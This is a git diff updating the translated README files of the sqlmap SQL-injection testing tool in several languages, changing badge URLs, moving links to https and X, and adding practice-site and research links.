* The `six` Python 2 and 3 compatibility library located under `thirdparty/six/`.
|
||||||
Copyright (C) 2010-2018, Benjamin Peterson.
|
Copyright (C) 2010-2024, Benjamin Peterson.
|
||||||
* The `Termcolor` library located under `thirdparty/termcolor/`.
|
* The `Termcolor` library located under `thirdparty/termcolor/`.
|
||||||
Copyright (C) 2008-2011, Volvox Development Team.
|
Copyright (C) 2008-2011, Volvox Development Team.
|
||||||
|
|
||||||
|
|||||||
@@ -0,0 +1,70 @@
|
|||||||
|
# sqlmap
|
||||||
|
|
||||||
|
[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
|
||||||
|
|
||||||
|
<div dir=rtl>
|
||||||
|
|
||||||
|
برنامج sqlmap هو أداة اختبار اختراق مفتوحة المصدر تقوم بأتمتة عملية اكتشاف واستغلال ثغرات حقن SQL والسيطرة على خوادم قواعد البيانات. يأتي مع محرك كشف قوي، والعديد من الميزات المتخصصة لمختبر الاختراق المحترف، ومجموعة واسعة من الخيارات بما في ذلك تحديد بصمة قاعدة البيانات، واستخراج البيانات من قاعدة البيانات، والوصول إلى نظام الملفات الأساسي، وتنفيذ الأوامر على نظام التشغيل عبر اتصالات خارج النطاق.
|
||||||
|
|
||||||
|
لقطات الشاشة
|
||||||
|
----
|
||||||
|
|
||||||
|
<div dir=ltr>
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
<div dir=rtl>
|
||||||
|
|
||||||
|
يمكنك زيارة [مجموعة لقطات الشاشة](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) التي توضح بعض الميزات في الويكي.
|
||||||
|
|
||||||
|
التثبيت
|
||||||
|
----
|
||||||
|
|
||||||
|
يمكنك تحميل أحدث إصدار tarball بالنقر [هنا](https://github.com/sqlmapproject/sqlmap/tarball/master) أو أحدث إصدار zipball بالنقر [هنا](https://github.com/sqlmapproject/sqlmap/zipball/master).
|
||||||
|
|
||||||
|
يفضل تحميل sqlmap عن طريق استنساخ مستودع [Git](https://github.com/sqlmapproject/sqlmap):
|
||||||
|
|
||||||
|
<div dir=ltr>
|
||||||
|
|
||||||
|
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
||||||
|
|
||||||
|
<div dir=rtl>
|
||||||
|
|
||||||
|
يعمل sqlmap مباشرة مع [Python](https://www.python.org/download/) إصدار **2.6** و **2.7** و **3.x** على أي نظام تشغيل.
|
||||||
|
|
||||||
|
الاستخدام
|
||||||
|
----
|
||||||
|
|
||||||
|
للحصول على قائمة بالخيارات والمفاتيح الأساسية استخدم:
|
||||||
|
|
||||||
|
<div dir=ltr>
|
||||||
|
|
||||||
|
python sqlmap.py -h
|
||||||
|
|
||||||
|
<div dir=rtl>
|
||||||
|
|
||||||
|
للحصول على قائمة بجميع الخيارات والمفاتيح استخدم:
|
||||||
|
|
||||||
|
<div dir=ltr>
|
||||||
|
|
||||||
|
python sqlmap.py -hh
|
||||||
|
|
||||||
|
<div dir=rtl>
|
||||||
|
|
||||||
|
يمكنك العثور على مثال للتشغيل [هنا](https://asciinema.org/a/46601).
|
||||||
|
للحصول على نظرة عامة على إمكانيات sqlmap، وقائمة الميزات المدعومة، ووصف لجميع الخيارات والمفاتيح، مع الأمثلة، ننصحك بمراجعة [دليل المستخدم](https://github.com/sqlmapproject/sqlmap/wiki/Usage).
|
||||||
|
|
||||||
|
الروابط
|
||||||
|
----
|
||||||
|
|
||||||
|
* الصفحة الرئيسية: https://sqlmap.org
|
||||||
|
* التحميل: [‪.tar.gz‬](https://github.com/sqlmapproject/sqlmap/tarball/master) أو [‪.zip‬](https://github.com/sqlmapproject/sqlmap/zipball/master)
|
||||||
|
* تغذية التحديثات RSS: https://github.com/sqlmapproject/sqlmap/commits/master.atom
|
||||||
|
* تتبع المشكلات: https://github.com/sqlmapproject/sqlmap/issues
|
||||||
|
* دليل المستخدم: https://github.com/sqlmapproject/sqlmap/wiki
|
||||||
|
* الأسئلة الشائعة: https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||||
|
* تويتر: [@sqlmap](https://x.com/sqlmap)
|
||||||
|
* العروض التوضيحية: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||||
|
* ساحة التدريب: https://sekumart.sekuripy.hr
|
||||||
|
* الأبحاث: https://www.sekuripy.hr/labs/sqlmap/#research
|
||||||
|
* لقطات الشاشة: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||||
@@ -1,6 +1,6 @@
|
|||||||
# sqlmap
|
# sqlmap
|
||||||
|
|
||||||
[](https://travis-ci.org/sqlmapproject/sqlmap) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://badge.fury.io/py/sqlmap) [](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [](https://twitter.com/sqlmap)
|
[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
|
||||||
|
|
||||||
sqlmap e инструмент за тестване и проникване, с отворен код, който автоматизира процеса на откриване и използване на недостатъците на SQL база данните чрез SQL инжекция, която ги взима от сървъра. Снабден е с мощен детектор, множество специални функции за най-добрия тестер и широк спектър от функции, които могат да се използват за множество цели - извличане на данни от базата данни, достъп до основната файлова система и изпълняване на команди на операционната система.
|
sqlmap e инструмент за тестване и проникване, с отворен код, който автоматизира процеса на откриване и използване на недостатъците на SQL база данните чрез SQL инжекция, която ги взима от сървъра. Снабден е с мощен детектор, множество специални функции за най-добрия тестер и широк спектър от функции, които могат да се използват за множество цели - извличане на данни от базата данни, достъп до основната файлова система и изпълняване на команди на операционната система.
|
||||||
|
|
||||||
@@ -20,7 +20,7 @@ sqlmap e инструмент за тестване и проникване, с
|
|||||||
|
|
||||||
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
||||||
|
|
||||||
sqlmap работи самостоятелно с [Python](http://www.python.org/download/) версия **2.6**, **2.7** и **3.x** на всички платформи.
|
sqlmap работи самостоятелно с [Python](https://www.python.org/download/) версия **2.7** и **3.x** на всички платформи.
|
||||||
|
|
||||||
Използване
|
Използване
|
||||||
----
|
----
|
||||||
@@ -39,12 +39,14 @@ sqlmap работи самостоятелно с [Python](http://www.python.org
|
|||||||
Връзки
|
Връзки
|
||||||
----
|
----
|
||||||
|
|
||||||
* Начална страница: http://sqlmap.org
|
* Начална страница: https://sqlmap.org
|
||||||
* Изтегляне: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
|
* Изтегляне: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
|
||||||
* RSS емисия: https://github.com/sqlmapproject/sqlmap/commits/master.atom
|
* RSS емисия: https://github.com/sqlmapproject/sqlmap/commits/master.atom
|
||||||
* Проследяване на проблеми и въпроси: https://github.com/sqlmapproject/sqlmap/issues
|
* Проследяване на проблеми и въпроси: https://github.com/sqlmapproject/sqlmap/issues
|
||||||
* Упътване: https://github.com/sqlmapproject/sqlmap/wiki
|
* Упътване: https://github.com/sqlmapproject/sqlmap/wiki
|
||||||
* Често задавани въпроси (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
* Често задавани въпроси (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||||
* Twitter: [@sqlmap](https://twitter.com/sqlmap)
|
* X: [@sqlmap](https://x.com/sqlmap)
|
||||||
* Демо: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos)
|
* Демо: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||||
|
* Площадка за упражнения: https://sekumart.sekuripy.hr
|
||||||
|
* Изследвания: https://www.sekuripy.hr/labs/sqlmap/#research
|
||||||
* Снимки на екрана: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
* Снимки на екрана: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||||
|
|||||||
@@ -0,0 +1,64 @@
|
|||||||
|
# sqlmap
|
||||||
|
|
||||||
|
[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
|
||||||
|
|
||||||
|
**SQLMap** একটি ওপেন সোর্স পেনিট্রেশন টেস্টিং টুল যা স্বয়ংক্রিয়ভাবে SQL ইনজেকশন দুর্বলতা সনাক্ত ও শোষণ করতে এবং ডাটাবেস সার্ভার নিয়ন্ত্রণে নিতে সহায়তা করে। এটি একটি শক্তিশালী ডিটেকশন ইঞ্জিন, উন্নত ফিচার এবং পেনিট্রেশন টেস্টারদের জন্য দরকারি বিভিন্ন অপশন নিয়ে আসে। এর মাধ্যমে ডাটাবেস ফিঙ্গারপ্রিন্টিং, ডাটাবেস থেকে তথ্য আহরণ, ফাইল সিস্টেম অ্যাক্সেস, এবং অপারেটিং সিস্টেমে কমান্ড চালানোর মতো কাজ করা যায়, এমনকি আউট-অফ-ব্যান্ড সংযোগ ব্যবহার করেও।
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
স্ক্রিনশট
|
||||||
|
---
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
আপনি [Wiki-তে](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) গিয়ে SQLMap-এর বিভিন্ন ফিচারের ডেমোনস্ট্রেশন দেখতে পারেন।
|
||||||
|
|
||||||
|
ইনস্টলেশন
|
||||||
|
---
|
||||||
|
সর্বশেষ টারবলে ডাউনলোড করুন [এখানে](https://github.com/sqlmapproject/sqlmap/tarball/master) অথবা সর্বশেষ জিপ ফাইল [এখানে](https://github.com/sqlmapproject/sqlmap/zipball/master)।
|
||||||
|
|
||||||
|
অথবা, সরাসরি [Git](https://github.com/sqlmapproject/sqlmap) রিপোজিটরি থেকে ক্লোন করুন:
|
||||||
|
|
||||||
|
```
|
||||||
|
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
||||||
|
```
|
||||||
|
|
||||||
|
SQLMap স্বয়ংক্রিয়ভাবে [Python](https://www.python.org/download/) **2.7** এবং **3.x** সংস্করণে যেকোনো প্ল্যাটফর্মে কাজ করে।
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
ব্যবহারের নির্দেশিকা
|
||||||
|
---
|
||||||
|
|
||||||
|
বেসিক অপশন এবং সুইচসমূহ দেখতে ব্যবহার করুন:
|
||||||
|
|
||||||
|
```
|
||||||
|
python sqlmap.py -h
|
||||||
|
```
|
||||||
|
|
||||||
|
সমস্ত অপশন ও সুইচের তালিকা পেতে ব্যবহার করুন:
|
||||||
|
|
||||||
|
```
|
||||||
|
python sqlmap.py -hh
|
||||||
|
```
|
||||||
|
|
||||||
|
আপনি একটি নমুনা রান দেখতে পারেন [এখানে](https://asciinema.org/a/46601)।
|
||||||
|
SQLMap-এর সম্পূর্ণ ফিচার, ক্ষমতা, এবং কনফিগারেশন সম্পর্কে বিস্তারিত জানতে [ব্যবহারকারীর ম্যানুয়াল](https://github.com/sqlmapproject/sqlmap/wiki/Usage) পড়ার পরামর্শ দেওয়া হচ্ছে।
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
লিঙ্কসমূহ
|
||||||
|
---
|
||||||
|
|
||||||
|
* হোমপেজ: https://sqlmap.org
|
||||||
|
* ডাউনলোড: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) অথবা [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
|
||||||
|
* কমিটস RSS ফিড: https://github.com/sqlmapproject/sqlmap/commits/master.atom
|
||||||
|
* ইস্যু ট্র্যাকার: https://github.com/sqlmapproject/sqlmap/issues
|
||||||
|
* ব্যবহারকারীর ম্যানুয়াল: https://github.com/sqlmapproject/sqlmap/wiki
|
||||||
|
* সচরাচর জিজ্ঞাসিত প্রশ্ন (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||||
|
* X: [@sqlmap](https://x.com/sqlmap)
|
||||||
|
* ডেমো ভিডিও: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||||
|
* অনুশীলন সাইট: https://sekumart.sekuripy.hr
|
||||||
|
* গবেষণা: https://www.sekuripy.hr/labs/sqlmap/#research
|
||||||
|
* স্ক্রিনশট: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||||
|
|
||||||
@@ -0,0 +1,69 @@
|
|||||||
|
# sqlmap
|
||||||
|
|
||||||
|
[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
|
||||||
|
|
||||||
|
|
||||||
|
<div dir=rtl>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
بەرنامەی `sqlmap` بەرنامەیەکی تاقیکردنەوەی چوونە ژوورەوەی سەرچاوە کراوەیە کە بە شێوەیەکی ئۆتۆماتیکی بنکەدراوە کە کێشەی ئاسایشی SQL Injection یان هەیە دەدۆزێتەوە. ئەم بەرنامەیە بزوێنەرێکی بەهێزی دیاریکردنی تێدایە. هەروەها کۆمەڵێک سکریپتی بەرفراوانی هەیە کە ئاسانکاری دەکات بۆ پیشەییەکانی تاقیکردنەوەی دزەکردن(penetration tester) بۆ کارکردن لەگەڵ بنکەدراوە. لە کۆکردنەوەی زانیاری دەربارەی بانکی داتا تا دەستگەیشتن بە داتاکانی سیستەم و جێبەجێکردنی فەرمانەکان لە ڕێگەی پەیوەندی Out Of Band لە سیستەمی کارگێڕدا.
|
||||||
|
|
||||||
|
|
||||||
|
سکرین شاتی ئامرازەکە
|
||||||
|
----
|
||||||
|
|
||||||
|
|
||||||
|
<div dir=ltr>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
|
||||||
|
<div dir=rtl>
|
||||||
|
|
||||||
|
بۆ بینینی [کۆمەڵێک سکرین شات و سکریپت](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) دەتوانیت سەردانی ویکیەکە بکەیت.
|
||||||
|
|
||||||
|
|
||||||
|
دامەزراندن
|
||||||
|
----
|
||||||
|
|
||||||
|
بۆ دابەزاندنی نوێترین وەشانی tarball، کلیک [لێرە](https://github.com/sqlmapproject/sqlmap/tarball/master) یان دابەزاندنی نوێترین وەشانی zipball بە کلیککردن لەسەر [لێرە](https://github.com/sqlmapproject/sqlmap/zipball/master) دەتوانیت ئەم کارە بکەیت.
|
||||||
|
|
||||||
|
باشترە بتوانیت sqlmap دابەزێنیت بە کلۆنکردنی کۆگای [Git](https://github.com/sqlmapproject/sqlmap):
|
||||||
|
|
||||||
|
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
||||||
|
|
||||||
|
sqlmap لە دەرەوەی سندوق کاردەکات لەگەڵ [Python](https://www.python.org/download/) وەشانی **2.6**، **2.7** و **3.x** لەسەر هەر پلاتفۆرمێک.
|
||||||
|
|
||||||
|
چۆنیەتی بەکارهێنان
|
||||||
|
----
|
||||||
|
|
||||||
|
بۆ بەدەستهێنانی لیستی بژاردە سەرەتاییەکان و سویچەکان ئەمانە بەکاربهێنە:
|
||||||
|
|
||||||
|
python sqlmap.py -h
|
||||||
|
|
||||||
|
بۆ بەدەستهێنانی لیستی هەموو بژاردە و سویچەکان ئەمە بەکار بێنا:
|
||||||
|
|
||||||
|
python sqlmap.py -hh
|
||||||
|
|
||||||
|
دەتوانن نمونەی ڕانکردنێک بدۆزنەوە [لێرە](https://asciinema.org/a/46601).
|
||||||
|
بۆ بەدەستهێنانی تێڕوانینێکی گشتی لە تواناکانی sqlmap، لیستی تایبەتمەندییە پشتگیریکراوەکان، و وەسفکردنی هەموو هەڵبژاردن و سویچەکان، لەگەڵ نموونەکان، ئامۆژگاریت دەکرێت کە ڕاوێژ بە [دەستنووسی بەکارهێنەر](https://github.com/sqlmapproject/sqlmap/wiki/Usage).
|
||||||
|
|
||||||
|
بەستەرەکان
|
||||||
|
----
|
||||||
|
|
||||||
|
* ماڵپەڕی سەرەکی: https://sqlmap.org
|
||||||
|
* داگرتن: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) یان [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
|
||||||
|
* فیدی RSS جێبەجێ دەکات: https://github.com/sqlmapproject/sqlmap/commits/master.atom
|
||||||
|
* شوێنپێهەڵگری کێشەکان: https://github.com/sqlmapproject/sqlmap/issues
|
||||||
|
* ڕێنمایی بەکارهێنەر: https://github.com/sqlmapproject/sqlmap/wiki
|
||||||
|
* پرسیارە زۆرەکان (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||||
|
* X: [@sqlmap](https://x.com/sqlmap)
|
||||||
|
* دیمۆ: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||||
|
* گۆڕەپانی تاقیکردنەوە: https://sekumart.sekuripy.hr
|
||||||
|
* توێژینەوە: https://www.sekuripy.hr/labs/sqlmap/#research
|
||||||
|
* وێنەی شاشە: https://github.com/sqlmapproject/sqlmap/wiki/وێنەی شاشە
|
||||||
|
|
||||||
|
وەرگێڕانەکان
|
||||||
@@ -1,6 +1,6 @@
|
|||||||
# sqlmap
|
# sqlmap
|
||||||
|
|
||||||
[](https://travis-ci.org/sqlmapproject/sqlmap) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://badge.fury.io/py/sqlmap) [](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [](https://twitter.com/sqlmap)
|
[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
|
||||||
|
|
||||||
sqlmap ist ein quelloffenes Penetrationstest Werkzeug, das die Entdeckung, Ausnutzung und Übernahme von SQL injection Schwachstellen automatisiert. Es kommt mit einer mächtigen Erkennungs-Engine, vielen Nischenfunktionen für den ultimativen Penetrationstester und einem breiten Spektrum an Funktionen von Datenbankerkennung, abrufen von Daten aus der Datenbank, zugreifen auf das unterliegende Dateisystem bis hin zur Befehlsausführung auf dem Betriebssystem mit Hilfe von out-of-band Verbindungen.
|
sqlmap ist ein quelloffenes Penetrationstest Werkzeug, das die Entdeckung, Ausnutzung und Übernahme von SQL injection Schwachstellen automatisiert. Es kommt mit einer mächtigen Erkennungs-Engine, vielen Nischenfunktionen für den ultimativen Penetrationstester und einem breiten Spektrum an Funktionen von Datenbankerkennung, abrufen von Daten aus der Datenbank, zugreifen auf das unterliegende Dateisystem bis hin zur Befehlsausführung auf dem Betriebssystem mit Hilfe von out-of-band Verbindungen.
|
||||||
|
|
||||||
@@ -20,7 +20,7 @@ Vorzugsweise kannst du sqlmap herunterladen, indem du das [GIT](https://github.c
|
|||||||
|
|
||||||
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
||||||
|
|
||||||
sqlmap funktioniert sofort mit den [Python](http://www.python.org/download/) Versionen 2.6, 2.7 und 3.x auf jeder Plattform.
|
sqlmap funktioniert sofort mit den [Python](https://www.python.org/download/) Versionen 2.6, 2.7 und 3.x auf jeder Plattform.
|
||||||
|
|
||||||
Benutzung
|
Benutzung
|
||||||
---
|
---
|
||||||
@@ -38,12 +38,14 @@ Ein Probelauf ist [hier](https://asciinema.org/a/46601) zu finden. Um einen Übe
|
|||||||
Links
|
Links
|
||||||
---
|
---
|
||||||
|
|
||||||
* Webseite: http://sqlmap.org
|
* Webseite: https://sqlmap.org
|
||||||
* Download: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
|
* Download: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
|
||||||
* Commits RSS feed: https://github.com/sqlmapproject/sqlmap/commits/master.atom
|
* Commits RSS feed: https://github.com/sqlmapproject/sqlmap/commits/master.atom
|
||||||
* Problemverfolgung: https://github.com/sqlmapproject/sqlmap/issues
|
* Problemverfolgung: https://github.com/sqlmapproject/sqlmap/issues
|
||||||
* Benutzerhandbuch: https://github.com/sqlmapproject/sqlmap/wiki
|
* Benutzerhandbuch: https://github.com/sqlmapproject/sqlmap/wiki
|
||||||
* Häufig gestellte Fragen (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
* Häufig gestellte Fragen (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||||
* Twitter: [@sqlmap](https://twitter.com/sqlmap)
|
* X: [@sqlmap](https://x.com/sqlmap)
|
||||||
* Demonstrationen: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos)
|
* Demonstrationen: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||||
|
* Spielwiese: https://sekumart.sekuripy.hr
|
||||||
|
* Forschung: https://www.sekuripy.hr/labs/sqlmap/#research
|
||||||
* Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
* Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||||
@@ -1,6 +1,6 @@
|
|||||||
# sqlmap
|
# sqlmap
|
||||||
|
|
||||||
[](https://travis-ci.org/sqlmapproject/sqlmap) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://badge.fury.io/py/sqlmap) [](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [](https://twitter.com/sqlmap)
|
[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
|
||||||
|
|
||||||
sqlmap es una herramienta para pruebas de penetración "penetration testing" de software libre que automatiza el proceso de detección y explotación de fallos mediante inyección de SQL además de tomar el control de servidores de bases de datos. Contiene un poderoso motor de detección, así como muchas de las funcionalidades escenciales para el "pentester" y una amplia gama de opciones desde la recopilación de información para identificar el objetivo conocido como "fingerprinting" mediante la extracción de información de la base de datos, hasta el acceso al sistema de archivos subyacente para ejecutar comandos en el sistema operativo a través de conexiones alternativas conocidas como "Out-of-band".
|
sqlmap es una herramienta para pruebas de penetración "penetration testing" de software libre que automatiza el proceso de detección y explotación de fallos mediante inyección de SQL además de tomar el control de servidores de bases de datos. Contiene un poderoso motor de detección, así como muchas de las funcionalidades escenciales para el "pentester" y una amplia gama de opciones desde la recopilación de información para identificar el objetivo conocido como "fingerprinting" mediante la extracción de información de la base de datos, hasta el acceso al sistema de archivos subyacente para ejecutar comandos en el sistema operativo a través de conexiones alternativas conocidas como "Out-of-band".
|
||||||
|
|
||||||
@@ -19,7 +19,7 @@ Preferentemente, se puede descargar sqlmap clonando el repositorio [Git](https:/
|
|||||||
|
|
||||||
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
||||||
|
|
||||||
sqlmap funciona con las siguientes versiones de [Python](http://www.python.org/download/) **2.6**, **2.7** y **3.x** en cualquier plataforma.
|
sqlmap funciona con las siguientes versiones de [Python](https://www.python.org/download/) **2.7** y **3.x** en cualquier plataforma.
|
||||||
|
|
||||||
Uso
|
Uso
|
||||||
---
|
---
|
||||||
@@ -38,12 +38,14 @@ Para obtener una visión general de las capacidades de sqlmap, así como un list
|
|||||||
Enlaces
|
Enlaces
|
||||||
---
|
---
|
||||||
|
|
||||||
* Página principal: http://sqlmap.org
|
* Página principal: https://sqlmap.org
|
||||||
* Descargar: [. tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) o [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
|
* Descargar: [. tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) o [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
|
||||||
* Fuente de Cambios "Commit RSS feed": https://github.com/sqlmapproject/sqlmap/commits/master.atom
|
* Fuente de Cambios "Commit RSS feed": https://github.com/sqlmapproject/sqlmap/commits/master.atom
|
||||||
* Seguimiento de problemas "Issue tracker": https://github.com/sqlmapproject/sqlmap/issues
|
* Seguimiento de problemas "Issue tracker": https://github.com/sqlmapproject/sqlmap/issues
|
||||||
* Manual de usuario: https://github.com/sqlmapproject/sqlmap/wiki
|
* Manual de usuario: https://github.com/sqlmapproject/sqlmap/wiki
|
||||||
* Preguntas frecuentes (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
* Preguntas frecuentes (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||||
* Twitter: [@sqlmap](https://twitter.com/sqlmap)
|
* X: [@sqlmap](https://x.com/sqlmap)
|
||||||
* Demostraciones: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos)
|
* Demostraciones: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||||
|
* Campo de pruebas: https://sekumart.sekuripy.hr
|
||||||
|
* Investigación: https://www.sekuripy.hr/labs/sqlmap/#research
|
||||||
* Imágenes: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
* Imágenes: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||||
|
|||||||
@@ -1,16 +1,16 @@
|
|||||||
# sqlmap 
|
# sqlmap
|
||||||
|
|
||||||
[](https://travis-ci.org/sqlmapproject/sqlmap) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://badge.fury.io/py/sqlmap) [](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [](https://twitter.com/sqlmap)
|
[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
|
||||||
|
|
||||||
|
|
||||||
<div dir=rtl>
|
<div dir=rtl>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
برنامه `sqlmap`، برنامهی منبع باز هست که برای تست نفوذ پذیزی دربرابر حملههای احتمالی `sql injection` (جلوگیری از لو رفتن پایگاه داده) جلو گیری میکند. این برنامه مجهز به مکانیزیم تشخیص قدرتمندی میباشد. همچنین داری طیف گستردهای از اسکریپت ها میباشد که برای متخصص تست نفوذ کار کردن با بانک اطلاعاتی را راحتر میکند. از جمع اوری اطلاعات درباره بانک داده تا دسترسی به داده های سیستم و اجرا دستورات از طریق `via out-of-band` درسیستم عامل را امکان پذیر میکند.
|
برنامه `sqlmap`، یک برنامهی تست نفوذ منبع باز است که فرآیند تشخیص و اکسپلویت پایگاه های داده با مشکل امنیتی SQL Injection را بطور خودکار انجام می دهد. این برنامه مجهز به موتور تشخیص قدرتمندی میباشد. همچنین داری طیف گستردهای از اسکریپت ها میباشد که برای متخصصان تست نفوذ کار کردن با بانک اطلاعاتی را راحتر میکند. از جمع اوری اطلاعات درباره بانک داده تا دسترسی به داده های سیستم و اجرا دستورات از طریق ارتباط Out Of Band درسیستم عامل را امکان پذیر میکند.
|
||||||
|
|
||||||
|
|
||||||
عکس
|
تصویر محیط ابزار
|
||||||
----
|
----
|
||||||
|
|
||||||
|
|
||||||
@@ -23,7 +23,7 @@
|
|||||||
|
|
||||||
<div dir=rtl>
|
<div dir=rtl>
|
||||||
|
|
||||||
برای دیدن کردن از [مجموعهی از اسکریپتها](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) میتوانید از ویکی دیدن کنید.
|
برای نمایش [مجموعه ای از اسکریپتها](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) میتوانید از دانشنامه دیدن کنید.
|
||||||
|
|
||||||
|
|
||||||
نصب
|
نصب
|
||||||
@@ -32,11 +32,11 @@
|
|||||||
برای دانلود اخرین نسخه tarball، با کلیک در [اینجا](https://github.com/sqlmapproject/sqlmap/tarball/master) یا دانلود اخرین نسخه zipball با کلیک در [اینجا](https://github.com/sqlmapproject/sqlmap/zipball/master) میتوانید این کار را انجام دهید.
|
برای دانلود اخرین نسخه tarball، با کلیک در [اینجا](https://github.com/sqlmapproject/sqlmap/tarball/master) یا دانلود اخرین نسخه zipball با کلیک در [اینجا](https://github.com/sqlmapproject/sqlmap/zipball/master) میتوانید این کار را انجام دهید.
|
||||||
|
|
||||||
|
|
||||||
طرز استفاده
|
نحوه استفاده
|
||||||
----
|
----
|
||||||
|
|
||||||
|
|
||||||
برای گرفتن لیست ارگومانهای اساسی میتوانید از دستور زیر استفاده کنید:
|
برای دریافت لیست ارگومانهای اساسی میتوانید از دستور زیر استفاده کنید:
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
@@ -53,7 +53,7 @@
|
|||||||
<div dir=rtl>
|
<div dir=rtl>
|
||||||
|
|
||||||
|
|
||||||
برای گرفتن لیست تمامی ارگومانهای میتوانید از دستور زیر استفاده کنید:
|
